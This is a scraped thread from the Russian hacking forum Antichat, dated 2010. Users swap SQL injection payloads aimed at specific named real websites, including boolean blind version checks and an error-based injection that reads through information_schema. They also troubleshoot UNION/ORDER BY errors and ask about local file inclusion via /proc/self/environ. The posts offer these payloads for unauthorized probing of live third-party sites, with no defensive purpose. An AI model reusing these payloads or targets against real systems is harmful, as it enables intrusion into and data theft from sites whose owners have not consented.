Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
11.05.2010, 00:23
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме:
736224
Репутация:
388
|
|
2BrainDeaD
http://www.colorlines.com/article.php?ID=681+and+substring(@@version,1,1)=4+--
крути как блинд
|
|
|
11.05.2010, 00:34
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Код:
1)http://www.colorlines.com/article.php?ID=681+or+1=1+and+substring(version(),1,1)=4
2) http://thetvdb.com/index.php?tab=series&id=79771+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+information_schema.tables+group+by+2)a)--+
3) http://www.worstpreviews.com/headline.php?id=15683+or+1=1+and+substring(version(),1,1)=5
|
|
|
|
11.05.2010, 00:46
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
#1221 - Incorrect usage of UNION and ORDER BY
как бороться?
limit , второй параметр...
|
|
|
|
11.05.2010, 00:54
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме:
736224
Репутация:
388
|
|
2Strilo4ka дай посмотреть плз
|
|
|
|
11.05.2010, 00:57
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Сообщение от Bb0y
2Strilo4ka дай посмотреть плз
 двиг 102 атрибута, и второй параметр в лимите.
не скажу.
up
вот:
(SELECT 1 FROM (select 1 union select 2)x order by 1 limit 0,1) union (select 1)
Showing rows 0 - 0 (1 total, Query took 0.0009 sec)
SELECT 1 FROM (select 1 union select 2)x order by 1 limit 0,1 union select 1
#1221 - Incorrect usage of UNION and ORDER BY
Понятно что скобки, то не поставить... Идеи?
Последний раз редактировалось Strilo4ka; 11.05.2010 в 01:06..
|
|
|
|
11.05.2010, 01:13
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666
Репутация:
439
|
|
Сообщение от Pashkela
Код:
1)http://www.colorlines.com/article.php?ID=681+or+1=1+and+substring(version(),1,1)=4
2) http://thetvdb.com/index.php?tab=series&id=79771+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+information_schema.tables+group+by+2)a)--+
3) http://www.worstpreviews.com/headline.php?id=15683+or+1=1+and+substring(version(),1,1)=5
странно, 1 и 3 ничего не выводит, или я что-то недопонял.
|
|
|
|
11.05.2010, 01:29
|
|
Новичок
Регистрация: 22.01.2009
Сообщений: 11
Провел на форуме:
114084
Репутация:
3
|
|
Часто встречал при LFI при инклюде /proc/self/status встречается 'php5-cgi', в таком случае, при доступе к /proc/self/environ не интерпритируется PHP-код (проверял много раз).
Объясните, почему?
|
|
|
|
11.05.2010, 01:29
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме:
736224
Репутация:
388
|
|
2BrainDeaD, прочти сначала о blind sql injection https://forum.antichat.ru/thread35207-blind+sql+injection.html
https://forum.antichat.ru/thread18552-blind+sql+injection.html
Последний раз редактировалось Bb0y; 11.05.2010 в 01:33..
|
|
|
|
11.05.2010, 01:34
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666
Репутация:
439
|
|
спасибо. у меня ещё много недочётов в знаниях. будем исправляться.
|
|
|
|
11.05.2010, 14:22
|
|
Познающий
Регистрация: 26.03.2008
Сообщений: 31
Провел на форуме:
208349
Репутация:
82
|
|
Сообщение от v1d0qz
Это фильтрация. Если я включу эту опцию, чтобы закрыть возможность провести инжу в запросе, хотя это и не совсем полный подход, но это все равно будет фильтрация.
Фильтрация - удаление взвешенного вещества из массы воды путем прохождения через слой пористого материала или через сетки с подходящим размером отверстий.
Грубо говоря, если мы имеем ввиду компьютерную тематику в общем, и хек тематику в частности, фильтрация - удаление символов. Меджик квотс ничего не удаляет, она экранирует
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
